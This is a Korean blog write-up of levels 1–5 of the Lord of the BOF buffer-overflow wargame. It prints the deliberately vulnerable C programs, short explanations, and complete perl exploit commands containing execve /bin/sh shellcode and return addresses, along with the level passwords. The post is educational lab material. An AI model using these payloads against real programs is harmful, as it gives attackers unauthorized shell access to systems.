안녕하세요 sweetchip입니다.
해커스쿨에서 제공하는 레드햇 6.2 이미지에 BOF 취약점이 담긴 프로그램을 레벨별로 공격할수 있도록 해둔 워게임 입니다.
특이하게도 시스템 해킹이라는 것이죠.
계속 풀어보긴 했는데 잘 풀려지지 않아서 이번에 다시 한번 정리하고 풀어봤습니다.
강의 형식으로는 진행하지 않고 간단하게 원리정도만 설명하는 것으로 하겠습니다.
[gate@localhost gate]$ cat gremlin.c
// level1 - gremlin.c
/*
The Lord of the BOF : The Fellowship of the BOF
- gremlin
- simple BOF
*/
int main(int argc, char *argv[])
{
char buffer[256];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]); // vuln!
printf("%s\n", buffer);
}
전형적인 buffer overflow 문제입니다.
큰 버퍼안에 쉘코드를 담고 리턴어드레스를 버퍼의 쉘코드가 담긴 부분으로 돌리면 exploit 에 성공할것입니다.
level1 : gate - gate
payload - nop*100, 25bytes_shellcode, nop*135, ret
./gremlin `perl -e 'print "\x90"x100,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80","\x90"x135,"\x30\xf9\xff\xbf"'`
password is hello bof world
-----------------------------------------------------------------------------------------------------------------
Level2 -----------------------------------------------------------------------------------------------------------------
[gremlin@localhost gremlin]$ cat cobolt.c
/*
The Lord of the BOF : The Fellowship of the BOF
- cobolt
- small buffer
*/
int main(int argc, char *argv[])
{
char buffer[16];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]); // vuln!
printf("%s\n", buffer);
}
이것도 역시 전형적인 버퍼오버플로우의 코드입니다.
그러나 저 버퍼안에 쉘코드를 집어넣기란 어렵습니다....
그렇다면 다른방법이 있는데, rtl 공격을 할수있고 인자 1개를 더 넘기는 방법이 있습니다.
일단 저는 인자를 하나 더 넘겨서 공격을 할것입니다.
-----------------------------------------------------------------------------------------------------------------
level2 gremlin - hello bof world
payload - nop*20,ret <- argv[1]
nop*40,25bytes_shellcode,nop*30 <- argv[2]
./cobolt `perl -e'print"\x90"x20,"\x10\xfc\xff\xbf"'` `perl -e'print "\x90"x40,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f
\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80","\x90"x30'`
password is hacking exposed
-----------------------------------------------------------------------------------------------------------------
LEVEL3 // 파이프가 이상하게 먹히지 않아서 보류중입니다.
LEVEL4 -----------------------------------------------------------------------------------------------------------------
[goblin@localhost goblin]$ cat orc.c
/*
The Lord of the BOF : The Fellowship of the BOF
- orc
- egghunter
*/
#include
#include
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i )
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]); //vuln!
printf("%s\n", buffer);
역시나 전형적인 bof 문제이지만, 에그헌터라는것이 새로 생겼습니다.
에그헌터는 환경변수에 쉘코드를 넣어서 공격하는것을 방지하기 위해서 넣어진 함수입니다.
하지만 환경변수를 이용하고 있지 않기에 똑같이 공격하면 됩니다.
이번에도 역시 2번쨰 인자를 이용하여 공격하겠습니다.
인자의 주소를 구하는 방법은 아무 글자를 100번 정도 넣고 GDB로 찾아보는것이 쉽습니다.
인자의 주소를 구하고 공격을 시작합니다.
인자 2엔 놉슬라이딩과 25바이트의 쉘코드를 넣을것입니다.
-----------------------------------------------------------------------------------------------------------------
level4 goblin - hackers proof
payload - nop*44,ret <- argv[1]
- nop*1000, 25bytes_shellcode <- argv[2]
./orc `perl -e'print"\x90"x44,"\x64\xfb\xff\xbf"'` `perl -e'print"\x90"x1000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f
\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
password is cantata
-----------------------------------------------------------------------------------------------------------------
Level5 -----------------------------------------------------------------------------------------------------------------
[orc@localhost orc]$ cat wolfman.c
/*
The Lord of the BOF : The Fellowship of the BOF
- wolfman
- egghunter buffer hunter
*/
#include
#include
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i )
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]); // vuln!
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
에그 헌터와 버퍼 헌터가 생겼습니다.
에그헌터는 위에서 설명한 그대로이고, 버퍼헌터는 char buffer[40]에 있는 내용을 모두 초기화 시킵니다.
옛날에 어느분이 물어보셧는데 이거 초기화 하면 ret도 초기화 되냐고 하셧는데,
코드상에는 40바이트 만큼 초기화 시킵니다.
buffer | SFP | RET
40byte 4byte 4byte
이곳에 예를들어서 \x90을 48바이트를 넣는다면
\x90. * 40 | \x90 * 4 | \x90 * 4
만큼 넣어질것이고
위 memset을 거치면
0 *40 | \x90 * 4 | \x90 * 4
가 됩니다.
그러므로 리턴어드레스를 변조하는것엔 아무 문제없습니다.
그러면 인자 2에 쉘코드를 넣고 nop 슬라이딩을 적절히 사용해 공격합니다
-----------------------------------------------------------------------------------------------------------------
level5 orc - cantata
payload - nop*44, ret <- argv[1]
- nop*1000, 25bytes_shellcode
./wolfman `perl -e'print "\x90"x44,"\xe4\xf8\xff\xbf"'`, `perl -e'print "\x90"x1000,"\x31\xc0\x50\x68\x2f\x2f
\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
password is love eyuna
-----------------------------------------------------------------------------------------------------------------
레벨 1~5까지의 exploit 을 성공하고 패스워드를 획득했습니다.
Mnet 플레이어 취약점 시연 (6) | 2013.02.25 |
---|---|
LOB level 6~10 Exploit (0) | 2013.01.18 |
windows buffer overflow - exploit #1 (0) | 2013.01.06 |
Windows Buffer Overflow 기초 (2) | 2013.01.05 |
hackerschool FTZ level11 Write up (1) | 2012.11.03 |